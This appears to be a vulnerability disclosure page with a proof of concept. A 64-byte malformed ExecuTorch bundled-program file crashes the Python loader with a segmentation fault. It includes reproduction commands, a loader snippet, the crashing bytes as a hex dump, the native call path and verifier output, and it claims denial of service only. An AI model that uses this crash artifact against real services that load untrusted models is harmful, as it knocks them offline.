Views
No views yet
.bpte file containing the bundled-program flatbuffer identifier BP08 is accepted by the shipped Python pybinding loader path, then the native loader dereferences missing bundled-program fields and the Python process terminates with SIGSEGV.short_identifier_padded_64.bpte: crashing 64-byte ExecuTorch bundled program artifact.valid_bundled_program.bpte: valid control artifact copied from the ExecuTorch source test resource.make_poc.py: generator for the 64-byte crashing artifact.verify_poc.py: verifier that loads the control and crash artifacts in child Python processes.results/verify_poc_output.json: captured verifier output showing control success and crash return code.results/runtime_short_identifier_crash.txt: captured crash reproduction output.results/runtime_valid_control.txt: captured valid-control output.results/modelscan_0.8.8_output.json: scanner output captured locally..bpteexecutorch==1.2.0torch==2.11.03.12.31.2 as stable, and the GitHub releases page lists the 1.2.0 release aligned with PyTorch 2.11.executorch.extension.pybindings.portable_lib._load_bundled_program_from_buffer(data).bpte bundled program artifacts and pass their bytes to the bundled-program pybinding loader can be crashed by a tiny model artifact. This is denial of service only. No code execution, memory disclosure, file write, persistence, or network behavior is claimed.BundledModule in the same environment, while the malformed .bpte terminates the child Python process with SIGSEGV.1hf download pragnyanramtha/executorch-bpte-short-identifier-crash-poc \
2 --repo-type model \
3 --local-dir executorch-bpte-short-identifier-crash-poc
4cd executorch-bpte-short-identifier-crash-poc
5
6python3 -m pip install executorch==1.2.0
7python3 verify_poc.py --python "$(command -v python3)"1control.returncode: 0
2control.stdout includes: loaded BundledModule
3crash.returncode: -11
4expected vulnerable result observed: crash artifact terminates with SIGSEGV1from pathlib import Path
2from executorch.extension.pybindings import portable_lib
3
4data = Path("short_identifier_padded_64.bpte").read_bytes()
5portable_lib._load_bundled_program_from_buffer(data)104 00 00 00 42 50 30 38 00 00 00 00 00 00 00 00
200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 004, the bundled-program identifier BP08, and zero padding to 64 bytes. Regenerate it with:python3 make_poc.py --out regenerated.bpte1extension/pybindings/pybindings.cpp
2 PyBundledModule(buffer)
3 bundled_program_flatbuffer::GetBundledProgram(...)->program()->data()
4 bundled_program_flatbuffer::GetBundledProgram(...)->program()->size()
5
6extension/module/bundled_module.cpp
7 program_data_loader(...)
8 bundled_program_flatbuffer::GetBundledProgram(...)->program().bpte artifact:1modelscan_version: 0.8.8
2total_issues: 0
3total_scanned: 0modelscan -p short_identifier_padded_64.bpte -r json -o results/modelscan_0.8.8_output.json1SHA256(short_identifier_padded_64.bpte)=9d67a5c43d3c6fc51b828a29c4c22b7a199d11c3c0bac32c3dafcac6831e7f85
2SHA256(valid_bundled_program.bpte)=955750e9eb1072d160680be78e1207cba11bb8843b0c40cc56cc19d6b36f54c8